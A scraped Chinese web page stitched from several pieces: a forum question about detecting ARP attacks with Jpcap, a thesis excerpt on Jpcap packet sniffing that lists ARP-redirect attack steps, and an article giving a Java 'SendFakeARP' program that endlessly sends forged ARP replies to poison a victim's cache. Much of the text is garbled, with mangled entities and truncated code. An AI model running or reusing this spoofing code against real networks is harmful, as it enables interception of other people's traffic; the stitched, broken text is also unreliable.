求一个 java编写的使用jpcap arp捕获网络arp数据包,并分析是否存在arp攻击..

扫扫二维码,随身浏览文档
手机或平板扫扫即可继续访问
ip数据包分析
举报该文档为侵权文档。
举报该文档含有违规或不良信息。
反馈该文档无法正常浏览。
举报该文档为重复文档。
推荐理由:
将文档分享至:
分享完整地址
文档地址:
粘贴到BBS或博客
flash地址:
支持嵌入FLASH地址的网站使用
html代码:
&embed src='/DocinViewer-.swf' width='100%' height='600' type=application/x-shockwave-flash ALLOWFULLSCREEN='true' ALLOWSCRIPTACCESS='always'&&/embed&
450px*300px480px*400px650px*490px
支持嵌入HTML代码的网站使用
您的内容已经提交成功
您所提交的内容需要审核后才能发布,请您等待!
3秒自动关闭窗口扫扫二维码,随身浏览文档
手机或平板扫扫即可继续访问
基于Jpcap的TCPIP数据包分析
举报该文档为侵权文档。
举报该文档含有违规或不良信息。
反馈该文档无法正常浏览。
举报该文档为重复文档。
推荐理由:
将文档分享至:
分享完整地址
文档地址:
粘贴到BBS或博客
flash地址:
支持嵌入FLASH地址的网站使用
html代码:
&embed src='/DocinViewer-4.swf' width='100%' height='600' type=application/x-shockwave-flash ALLOWFULLSCREEN='true' ALLOWSCRIPTACCESS='always'&&/embed&
450px*300px480px*400px650px*490px
支持嵌入HTML代码的网站使用
您的内容已经提交成功
您所提交的内容需要审核后才能发布,请您等待!
3秒自动关闭窗口390219_基于Jpcap的TCPIP数据包分析-第4页
上亿文档资料,等你来发现
390219_基于Jpcap的TCPIP数据包分析-4
源端口&目的端口;在被捕获包的基本信息就可以通过直接转化为字符串而;2.2.2Jpcap的主要功能;Jpcap提供了十分方便的数据包捕获方法;publicclassJpcaphandleri;publicvoidhandlePacket(P;System.out.println(packe;为了捕获包,需要让Jpcap知道要用哪个网络设备;String
 源端口 &目的端口在被捕获包的基本信息就可以通过直接转化为字符串而得到。 2.2.2 Jpcap的主要功能Jpcap提供了十分方便的数据包捕获方法。Jpcap使用一个事件模型来处理包。首先,必须创建一个执行接口jpcap.JpcapHandler的类。public class Jpcaphandler implements JpcapHandler {public void handlePacket(Packet packet){System.out.println(packet);}} 为了捕获包,需要让Jpcap知道要用哪个网络设备来监听。API提供了jpcap.Jpcap.getDeviceList()方法以满足这一目的。这个方法返回一列字符串,可以按一下方法如下使用它:String[] devices = Jpcap.getDeviceList(); 一旦有了一个设备名称的目录,只要从其中选取一个用来监听:String deviceName = devices[0]; 选择一个设备之后,通过Jpcap.openDevice()方法打开它。openDevice()方法需要四个参数:即将打开的设备名,从设备上一次读取的最大字节数,说明是否将设备设为混杂模式的Boolean值,和以后调用processPacket()方法要使用到的超时值。Jpcapjpcap = Jpcap.openDevice(deviceName, 1024, false, 10000); openDevice()方法将一个参数返回到用以捕获的Jpcap对象。既然有了Jpcap实例,你可以调用processPacket() 或loopPacket()开始监听了。这两种方式都带有两个参数:捕获的最大包数可以是-1(说明没有限制);执行JpcapHandler的一个类的实例。如果你调用processPacket(),那么Jpcap将一直捕获包,直到超过openDevice中规定的时限或达到了规定的最大包数。loopPacket()则将一直捕获包,直到达到最大包数,如果没有最大数限制,它将永远运行下去。就像下面这样调用:jpcap.loopPacket(-1, new Jpcaphandler()); 对于捕获的数据包,可以利用Jpcap中的Packet及其子类进行分类分析,获得数据包的详细信息。Jpcap还有进行数据包过滤的函数setFilter(java.lang.String condition, boolean optimize)。其中condition是过滤条件。在进行数据包捕获前设置过滤条件,可以将不感兴趣的数据包剔除。jpcap.setFilter(&host 210.212.147.149&,true); 因为Jpcap对数据包进行了分类,而数据包中的关键字段也有接口调用,所以在设置过滤条件时也可以在利用这些条件进行更细致的分类。这将在后面的章节中介绍。Jpcap还提供了用来发送数据包的一个类JpcapSender,可以用来发送IPPacket及其子类,包括IPPacket、ICMPPacket、TCPPacket、UDPPacket。定义好一个相应的包后,就可以利用sendPacket函数发送数据包。JpcapSender sender=JpcapSender.openDevice(Jpcap.getDeviceList()[0]);sender.sendPacket(p); //send a packet
第三章 数据包监听程序的设计 3.1 数据包监听原理网络监听是指利用计算机的网络接口截获目的地为第三方计算机的数据报文的一种技术。利用这种技术可以监听网络的当前流量状况;网络程序的运行以及非法窃取网络中传输的机密信息。在共享式以太网中,所有的通讯都是广播的,也就是说通常在同一网段的所有网络接口都可以访问在物理媒体上传输的所有数据,使用ARP和RARP协议进行相互转换。在正常的情况下,一个网络接口应该只响应两种数据帧:与自己硬件地址相匹配的数据帧和发向所有机器的广播数据帧。在一个实际的系统中,数据的收发由网卡来完成。每个以太网卡拥有一个全球难一的以太网地址。以太网地址是一个48位的二进制数。在以太网卡中内建有一个数据报过滤器。该数据报过滤器的作用是保留以本身网卡的MkC地址为通讯目的的数据报和广播数据报,丢弃所有其它无关的数据报,以免除CPU对无关的数据报作无谓的处理。这是以太网卡在一般情况下的工作方式。在这种方式下,以太网卡只将接收到的数据报中与本机有关部分向上传递。然而数据报过滤器是可以通过编程禁用的。禁用数据报过滤器后,网卡将把接收到的所有的数据报向上传递,上一层的软件因此可以监听以太网中其它计算机之间的通讯。我们称这种工作模式为“混杂模式”。多数网卡支持“混杂模式”,而该模式还是微软公司的“pC99”规范中对网卡的一个要求。网卡的“混杂模式”使得采用普通网卡作为网络探针,实现网络的侦听变得非常容易。一方面方便了网络管理,另一方面,普通用户也能轻易地侦听网络通讯,对用户的数据通讯保密是一个很大的威胁。在进行此种方式的数据监听时,是在网络的节点处设置网络设备为混杂模式,进行数据监听管理网络;黑客则是利用ARP侦探网络上出于混杂模式的网络节点并将黑客软件放置在节点处进行窃听的。还有一种窃听方式是利用ARP欺骗达到的。ARP欺骗又被称为ARP重定向技术,ARP地址解析协议虽然是一个高效的数据链路层协议,但是作为一个局域网的协议,它是建立在各主机之间互相信任基础之上的,因此存在一定的安全问题:(1)主机地址映射表是基于高速缓存动态更新的,这是ARP协议的特色,也是安全问题之一。由于正常的主机间MAC地址刷新都是有时限的,这样假冒者如果在下次更新之前成功的修改了被攻击机器上的地址缓存,就可以进行假冒。
(2)ARP请求以广播方式进行。这个问题是不可避免的,因为正是由于主机不知道通信对方的MAC地址,才需要进行ARP广播请求。这样攻击老就可以伪装ARP应答,与广播者真正要通信的机器进行竞争。还可以确定子网内机器什么时候会刷新MAC地址缓存,以确定最大时间限度的进行假冒。(3)可以随意发送ARP应答包。由于ARP协议是无状态的,任何主机即使在没有请求的时候也可以做出应答,只要应答有效,接收到应答包的主机就无条件的根据应答包的内容更新本机高速缓存。(4)ARP应答无需认证。由于ARP协议是一个局域网协议,设计之初,出于传输效率的考虑,在数据链路层就没有作安全上的防范。在使用ARP协议交换MAC地址时无需认证,只要收到来自局城网内的ARP应答包,就将其中的MAC/IP对刷新到本主机的高速缓存中。ARP重定向的实施办法是根据以上ARP地址解析协议的安全漏洞,进行网络信息包的截获以及包的转发攻击活动,步骤如下:(1)把实施攻击的主机的网卡设置为混杂模式。(2)在实施攻击的主机上保持一个局域网内各个IP/MkC包的对应列表,并根据截获的IP包或者ARP包的原IP域进行更新。(3)收到一个IP包之后,分析包头,根据IP包头里的IP目的地址,找到相应的MAC地址。(4)将本机的MAC地址设成原MAC地址,将第二步查到的MAC地址作为目的MAC地址,将收到的IP包发送出去。通过以上的重定向,攻击者使网络数据包在经过攻击者本身的主机后,转发到数据包应该真正到达的目的主机去,从而具有很强的欺骗性。本文中采用的是第一种方法,即在共享以太网中通过网卡在混杂模式工作,监听整个以太网的数据包。 3.2 以太网帧的监听在第二章中已经介绍了如何使用Jpcap将网卡设定为混杂模式,并获得网络数据包。获取到的数据包是在JpcapHandler接口类中进行处理的。 3.2.1 获取MAC地址要从被捕获的数据包中获得MAC地址需要如下代码://取得packet中数据链路层的数据段EthernetPacket ethernetPacket=(EthernetPacket)packet.//获得MAC地址System.out.print(&源MAC地址&+ethernetPacket.getSourceAddress()+&目的MAC地址& +ethernetPacket.getDestinationAddress() +&\n&); 代码运行结果如下(省略部分):源MAC地址=00:d0:f8:0d:7c:f3
目的MAC地址=00:80:2d:5f:86:83源MAC地址=00:d0:f8:0d:7e:f6
目的MAC地址=00:d0:f8:0d:7c:f3源MAC地址=00:d0:f8:0d:7c:f3
目的MAC地址=00:d0:f8:0d:7e:f6源MAC地址=00:d0:f8:0d:7e:f6
目的MAC地址=00:d0:f8:0d:7c:f3源MAC地址=00:d0:f8:0d:7c:f3
目的MAC地址=00:d0:f8:0d:7e:f6这样数据包中的MAC地址就被解析出来。 3.2.2 数据包类型的判断要对数据包进行进一步的解析需要判别数据包的类型,是ARP包还是IP包中的TCP包或UDP包,因为捕获的数据包是Packet类的形式,数据包的详细内容被封装在其中,不能直接得到。而Packet的子类IPPacket、ARPPacket等是可以直接解析出我们想要得到的详细信息的。所以需要将数据包进行判别,再进行详细的解析。Packet是基类,所以进行实例的判别后就可以区分被捕获包的类型了,代码如下: if (packet
instanceof
***Packet){//***Packet为类名***Packet p=(***Packet)packet;//转化为响应实例//解析数据包的代码} 3.3 IP数据报的监听一个被捕获的数据包中数据报的信息是很让人感兴趣的,不管是IP数据报或是ARP数据报。网络传递的数据的主要内容都在其中,接下来介绍的就是如何获取这些数据报的详细信息。 3.3.1 IP数据报的解析网络上传输的数据包,绝大部分是IP数据报。这里是指区别于ARP数据报而言。在我们浏览网页,拷贝文件时,数据都是先封装在IP数据报中的。按照IP数据报头的目的IP地址进行传送。要得到IP数据报中源IP地址、目的IP地址、生存时间(TTL)、使用的上层协议等信包含各类专业文献、外语学习资料、生活休闲娱乐、各类资格考试、应用写作文书、幼儿教育、小学教育、中学教育、行业资料、390219_基于Jpcap的TCPIP数据包分析等内容。 
  【】 
您可在本站搜索以下内容:
  021q_基于Jpcap的TCPIP数据包分析_IT/计算机_专业资料。Jpcap的TCPIP数据包分析基于Jpcap 的 TCP/IP 数据包分析 2001 赵新辉 目第一章 以太网的结构和 TCP/...
s  021q_基于Jpcap的TCPIP数据... 3s页 1财富值 IP数据包的分析 11页 免费搜你所想,读你所爱 拒绝盗版,营造绿色文库
如要投诉违规内容,请到百度文库投诉中心...
  021q_基于Jpcap的TCPIP数... 3s页 1下载券 学习如何分析进出服务器... 4...IP 数据包格式 (1) 版本 占 4 位,指 IP 协议的版本。通信双方使用的 IP ...
s  8页 1下载券 021q_基于Jpcap的TCPIP数... 3s页 1下载券喜欢此文档的还...Java 学习:JPCAP――Java 中的数据链路层控制一.JPCAP 简介 众所周知,JAVA ...
  《网络嗅探器》课程设计报... 21页 s财富值 简易网络嗅探器 8页 免费 021q_基于Jpcap的TCPIP数据... 3s页 1财富值 基于Jpcap的IP数据包分析 3s页 免费...
赞助商链接
别人正在看什么?
赞助商链接用Java代码实现ARP攻击_Linux编程_Linux公社-Linux系统门户网站
你好,游客
用Java代码实现ARP攻击
来源:Linux社区&
作者:kkdelta
ARP攻击原理一台电脑通过网络访问另一台电脑的时候,在数据链路层需要知道对方的MAC地址进行真正的物理通信.而电脑上的应用程序通常都是根据另一台电脑的IP地址来和对方建立通信,这时候就需要有一个协议将IP地址解析到MAC地址,这就是ARP协议.而ARP具体过程就是当需要通过IP获取一个远端的的MAC地址的时候,系统会首先检查ARP表中是否存在对应的IP地址,如果没有,则发送一个ARP广播,当某一个拥有这个MAC地址的节点收到ARP请求的时候,会创建一个ARP reply包,并发送到ARP请求的源节点,ARP Reply包中就包含了目的地节点的MAC地址,在源节点接受到这个reply后,会将目的地节点的MAC地址保存在ARP缓存表中,下一次再次请求同一 IP地址的时候,系统将会从ARP表中直接获取目的地MAC地址,而不需要再次发送ARP广播。用ping命令举例来说, 在机器A,比如说IP是192.168.1.2中发出下面的ping命令:ping 192.168.1.3,如果192.168.1.3这个MAC地址在机器A的ARP缓存表中不存在,这时候机器A就会发送一个ARP广播,当192.168.1.3接到广播后,会给机器A回一个ARP Reply包,其中包含了192.168.1.3的MAC地址,这是正常的ARP过程.假设IP--MAC的对应关系为(192.168.1.3--00-1C-23-2E-A7-0E)但是局域网内的其他机器也可向机器A发一个假的IP--MAC对应关系ARP Reply包,机器A接收到这个假的包后同样会更新自己的ARP缓存表.假设发送的为(192.168.1.3--00-1C-23-2E-A7-0A,0A实际上为192.168.1.4的MAC地址)那么机器A再通过IP往192.168.1.3发送数据的时候,实际上却发到了192.168.1.4这台机器.这样就到达了ARP攻击或者叫做ARP欺骗.ARP攻击只能发生在局域网内.本文旨在举例说明ARP攻击的原理,希望看官们不要用来恶作剧你局域网的其他机器,要不你的网管很快就会面谈你滴...
下面用JAVA代码模拟一下上面说到的ARP欺骗.192.168.1.4将一个192.168.1.3的假的MAC地址发给 192.168.1.2.需要用到jpcap.jar,可以从http://netresearch.ics.uci.edu/kfujii/Jpcap/doc/download.html下载.
package&com.test.&&
import&java.net.InetA&&
import&jpcap.JpcapC&&
import&jpcap.JpcapS&&
import&jpcap.NetworkI&&
import&jpcap.packet.ARPP&&
import&jpcap.packet.EthernetP&&
public&class&SendFakeARP&{&&
&&&&static&byte[]&stomac(String&s)&{&&
&&&&&&&&byte[]&mac&=&new&byte[]&{&(byte)&<FONT color=#c,&(byte)&<FONT color=#c,&(byte)&<FONT color=#c,&(byte)&<FONT color=#c,&(byte)&<FONT color=#c,&(byte)&<FONT color=#c&};&&
&&&&&&&&String[]&s1&=&s.split("-");&&
&&&&&&&&for&(int&x&=&0;&x&&&s1.&x++)&{&&
&&&&&&&&&&&&mac[x]&=&(byte)&((Integer.parseInt(s1[x],&16))&&&0xff);&&
&&&&&&&&}&&
&&&&&&&&return&&&
&&&&public&static&void&main(String[]&args)&throws&Exception&{&&
&&&&&&&&int&time&=&2;&&&&
&&&&&&&&InetAddress&desip&=&InetAddress.getByName("192.168.1.2");&&
&&&&&&&&byte[]&desmac&=&stomac("00-1c-23-3c-41-7f");&&
&&&&&&&&InetAddress&srcip&=&InetAddress.getByName("192.168.1.3");&&
&&&&&&&&byte[]&srcmac&=&stomac("00-1C-23-2E-A7-0A");&&&
&&&&&&&&&&
&&&&&&&&NetworkInterface[]&devices&=&JpcapCaptor.getDeviceList();&&
&&&&&&&&NetworkInterface&device&=&devices[1];&&
&&&&&&&&JpcapSender&sender&=&JpcapSender.openDevice(device);&&
&&&&&&&&&&
&&&&&&&&ARPPacket&arp&=&new&ARPPacket();&&
&&&&&&&&arp.hardtype&=&ARPPacket.HARDTYPE_ETHER;&&
&&&&&&&&arp.prototype&=&ARPPacket.PROTOTYPE_IP;&&
&&&&&&&&arp.operation&=&ARPPacket.ARP_REPLY;&&
&&&&&&&&arp.hlen&=&6;&&
&&&&&&&&arp.plen&=&4;&&
&&&&&&&&arp.sender_hardaddr&=&&&
&&&&&&&&arp.sender_protoaddr&=&srcip.getAddress();&&
&&&&&&&&arp.target_hardaddr&=&&&
&&&&&&&&arp.target_protoaddr&=&desip.getAddress();&&
&&&&&&&&&&
&&&&&&&&EthernetPacket&ether&=&new&EthernetPacket();&&
&&&&&&&&ether.frametype&=&EthernetPacket.ETHERTYPE_ARP;&&
&&&&&&&&ether.src_mac&=&&&
&&&&&&&&ether.dst_mac&=&&&
&&&&&&&&arp.datalink&=&&&
&&&&&&&&&&
&&&&&&&&while&(true)&{&&
&&&&&&&&&&&&System.out.println("sending&arp..");&&
&&&&&&&&&&&&sender.sendPacket(arp);&&
&&&&&&&&&&&&Thread.sleep(time&*&<FONT color=#c);&&
&&&&&&&&}&&
相关资讯 & & &
& (09/25/:24)
& (02/07/:50)
& (02/01/:30)
& (04/27/:16)
& (02/01/:53)
& (01/28/:24)
图片资讯 & & &
   同意评论声明
   发表
尊重网上道德,遵守中华人民共和国的各项有关法律法规
承担一切因您的行为而直接或间接导致的民事或刑事法律责任
本站管理人员有权保留或删除其管辖留言中的任意内容
本站有权在网站内转载或引用您的评论
参与本评论即表明您已经阅读并接受上述条款}

我要回帖

更多关于 jpcap arp 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信